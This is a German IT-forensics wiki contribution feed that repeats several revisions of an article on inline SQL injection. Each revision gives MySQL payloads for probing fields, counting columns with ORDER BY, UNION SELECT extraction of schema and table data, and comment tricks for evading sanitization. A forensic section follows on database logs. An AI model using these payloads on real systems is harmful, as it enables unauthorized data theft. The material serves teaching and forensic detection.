<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="de">
	<id>http://it-forensik.fiw.hs-wismar.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=St191426</id>
	<title>IT-Forensik Wiki - Benutzerbeiträge [de]</title>
	<link rel="self" type="application/atom+xml" href="http://it-forensik.fiw.hs-wismar.de/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=St191426"/>
	<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Spezial:Beitr%C3%A4ge/St191426"/>
	<updated>2026-10-31T10:59:53Z</updated>
	<subtitle>Benutzerbeiträge</subtitle>
	<generator>MediaWiki 1.43.11</generator>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2257</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2257"/>
		<updated>2022-02-26T15:21:59Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &amp;lt;ref&amp;gt;Clarke, Justin(2016): SQL Hacking, FRANZIS Verlag, Haar, Kapitel 2.3.2&amp;lt;/ref&amp;gt;&lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt&lt;br /&gt;
|-&lt;br /&gt;
| PostgreSQL || postgresql-*.log || Je nach Konfiguration über die postgresql.conf im Installdir || Windows / Linux: Installdir/data/postgresql-*.log || Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Erweitere || mich || gerne || # || #&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
General Log.png|General_Log&lt;br /&gt;
Binlog.png|Binlog&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist.&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC&#039;s, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2256</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2256"/>
		<updated>2022-02-26T15:11:25Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt&lt;br /&gt;
|-&lt;br /&gt;
| PostgreSQL || postgresql-*.log || Je nach Konfiguration über die postgresql.conf im Installdir || Windows / Linux: Installdir/data/postgresql-*.log || Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Erweitere || mich || gerne || # || #&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
General Log.png|General_Log&lt;br /&gt;
Binlog.png|Binlog&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist.&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC&#039;s, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Datei:General_Log.png&amp;diff=2255</id>
		<title>Datei:General Log.png</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Datei:General_Log.png&amp;diff=2255"/>
		<updated>2022-02-26T15:10:22Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Datei:Binlog.png&amp;diff=2254</id>
		<title>Datei:Binlog.png</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Datei:Binlog.png&amp;diff=2254"/>
		<updated>2022-02-26T15:10:00Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2253</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2253"/>
		<updated>2022-02-26T15:06:15Z</updated>

		<summary type="html">&lt;p&gt;St191426: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Kommentarzeichen !! Funktion !! Anmerkung&lt;br /&gt;
|-&lt;br /&gt;
| -- || Einzeiliger Kommentar || Es muss ein Leerzeichen oder Steuerzeichen folgen&lt;br /&gt;
|-&lt;br /&gt;
| # || Einzeiliger Kommentar ||&lt;br /&gt;
|-&lt;br /&gt;
| /**/ || Mehrzeiliger Kommentar || Anwendungsbeispiel sind mehrere Eingabefelder (Benutzername, Passwort) oder aber das umgehen von sanitization bei welcher nach Schlüsselwörtern gesucht wird.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
3.) Identifikation der Spaltenanzahl:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; ORDER BY #; --&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Die # ist gegen eine Zahl zu ersetzen. Erscheint eine Fehlermeldung, ist die maximale Anzahl an Spalten für die angezeigte Tabelle überschritten wurde. Diese Zahl -1 entspricht dann also der tatsächlichen Spaltenzahl.&lt;br /&gt;
Dieser Punkt ist relevant, da die korrekte Anzahl der vorliegenden Spalten (siehe folgend) auch immer korrekt angegeben werden muss. So würde Punkt 4. nicht funktionieren, wenn die Tabelle über 7 Spalten verfügt.&lt;br /&gt;
&lt;br /&gt;
4.) Extraktion von Informationen über die Datenbank wie Schemaname, MySQL-Version, User, etc.:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT user(),database(),version(),schema(),UUID(),current_user(),system_user(),session_user() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5.) Zeigt alle verfügbaren Tabellen des Schemas an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
6.) Zeigt Spalten der angegebenen Tabelle (Adresse) an:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7,8 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME=&#039;Adresse&#039; ##&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7.) Extraktion von Daten aus Table Adresse, Spalte Straße:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039; UNION SELECT NULL,concat(Straße),NULL,NULL,NULL,NULL,NULL,NULL from Adresse-- -&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Forensische Analyse ==&lt;br /&gt;
&lt;br /&gt;
Je nach DBMS liegen unterschiedliche Logfiles vor. Außerdem müssen diese unter anderem auch erst aktiviert werden, da dies nicht per Default passiert.&lt;br /&gt;
Die nachfolgende Tabelle soll etwaige Arten von Logdateien aufzeigen:&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! DBMS !! Name !! Ziel !! Path bzw. Datei !! Besonderheiten !!&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || General Query Log || Verbindungsinformationen und alle abgesetzten Statements || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*.log &amp;lt;br&amp;gt;Linux: /var/lib/mysql/general_log.CSV || Nicht per Default aktiv&lt;br /&gt;
|-&lt;br /&gt;
| MySQL || Binary Log || Alle Data modifications&amp;lt;br&amp;gt;DDL &amp;amp; DML || Windows: C:\ProgramData\MySQL\MySQL Server x.x\Data\*-bin&amp;lt;br&amp;gt;Linux: /var/lib/mysql/binlog.* || Aufruf mit: mysqlbinlog -v /path/to/log&lt;br /&gt;
|-&lt;br /&gt;
| MongoDB || mongodb.log || Je nach Konfiguration Components wie ACCESS, NETWORK, QUERY || /var/log/mongodb/mongodb.log || Je nach Verbosity Settings bzw. Log Level (Default 0 = Informational only) recht wenig Inhalt&lt;br /&gt;
|-&lt;br /&gt;
| PostgreSQL || postgresql-*.log || Je nach Konfiguration über die postgresql.conf im Installdir || Windows / Linux: Installdir/data/postgresql-*.log || Je nach Konfiguration, default wird nichts geloggt, nur die Fehlerausgabe über stderr-Datenstrom&lt;br /&gt;
|-&lt;br /&gt;
| Oracle || Beispiel || Beispiel || Beispiel || Beispiel&lt;br /&gt;
|-&lt;br /&gt;
| Erweitere || mich || gerne || # || #&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
Beispiel Log nach dem injecten eines neuen Table mit einer Spalte.&lt;br /&gt;
&amp;lt;gallery&amp;gt;&lt;br /&gt;
Beispiel.jpg|General_Log&lt;br /&gt;
Beispiel.jpg|Binlog&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Die zuvor aufgeführten Logfiles können Aufschluss darüber geben, was auf dem System geändert worden ist.&lt;br /&gt;
Zu beachten ist außerdem die Existenz weiterer Quellen, insbesondere die Server Logs (Zugriffe, Änderung von Dateien, IoC&#039;s, etc.), oder aber auch die Logs einer Firewall / WAF für eine generelle Aussage über einen Zugriff &amp;lt;&amp;gt; IP.&lt;br /&gt;
&lt;br /&gt;
== Quellen ==&lt;/div&gt;</summary>
		<author><name>St191426</name></author>
	</entry>
	<entry>
		<id>http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2251</id>
		<title>Inline (Queries) SQL Injection</title>
		<link rel="alternate" type="text/html" href="http://it-forensik.fiw.hs-wismar.de/index.php?title=Inline_(Queries)_SQL_Injection&amp;diff=2251"/>
		<updated>2022-02-26T14:06:59Z</updated>

		<summary type="html">&lt;p&gt;St191426: /* Forensische Analyse */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Inline (Queries) SQL Injection ==&lt;br /&gt;
&lt;br /&gt;
Die Inline SQL Injection heißt deshalb so, weil diese direkt in ein dafür vorgesehenes Eingabefeld hinter welchem sich eine Query verbirgt eingebracht wird. Dies kann z.B. an einer Anmeldemaske oder aber einer Produktsuche der Fall sein.&lt;br /&gt;
Auch die Ausgabe der Ergebnisse erfolgt über den selben Kanal, so werden anstatt des gesuchten Produkts z.B. verfügbare Tabellen der Datenbank ausgegeben.&lt;br /&gt;
&lt;br /&gt;
Die Injection funktioniert meist so, dass der eingebrachte Code und die eigentliche Query ausgeführt wird. Die Injection wird also zusätzlich zu der eigentlichen Suchabfrage ausgeführt.&lt;br /&gt;
Je nach Gestaltung der eingebrachten Query, kann der Rest der ursprünglichen Query auch abgeschnitten werden, sodass diese nicht mehr ausgeführt wird (siehe Beispiele).&lt;br /&gt;
&lt;br /&gt;
Die Inline-Injections sind grob einzuteilen in &amp;lt;ref&amp;gt;[https://www.acunetix.com/websitesecurity/sql-injection2/ &#039;&#039;Types of SQL Injection (SQLi)&#039;&#039;] Types of SQL Injection (SQLi). Abgerufen am 26. Februar 2022.&amp;lt;/ref&amp;gt;:&lt;br /&gt;
# [[Error Based SQL Injection|Error Based SQL Injection]]&lt;br /&gt;
# Union-based SQLi&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Außerdem ist erwähnenswert, dass sowohl &lt;br /&gt;
# Inline-Stringinjections&lt;br /&gt;
# Inline-Injections von numerischen Werten&lt;br /&gt;
möglich sind.&lt;br /&gt;
&lt;br /&gt;
== Beispiel ==&lt;br /&gt;
&lt;br /&gt;
Alle Beispiele sind in MySQL 8 formuliert, andere Versionen oder unterschiedliche DBMS können also ein Fehlerhaftes Resultat erzeugen.&lt;br /&gt;
&lt;br /&gt;
1.) Simple Inline SQLi:&lt;br /&gt;
&amp;lt;br&amp;gt;&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
Wird eine SQL-Fehlermeldung ausgegeben, ist das ein Hinweis darauf, dass keine sanitization stattfindet und das Feld vulnerable ist.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2.) Abschluss (abtrennen) der ursprünglichen SQL Anweisung:&lt;br /&gt;
Hierfür gibt es unterschiedliche Methoden, alle arbeiten jedoch mit Kommentarzeichen, sodass auch mit Einschränkungen (wie z.B. einer vorliegenden sanitization) umgegangen werden kann.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
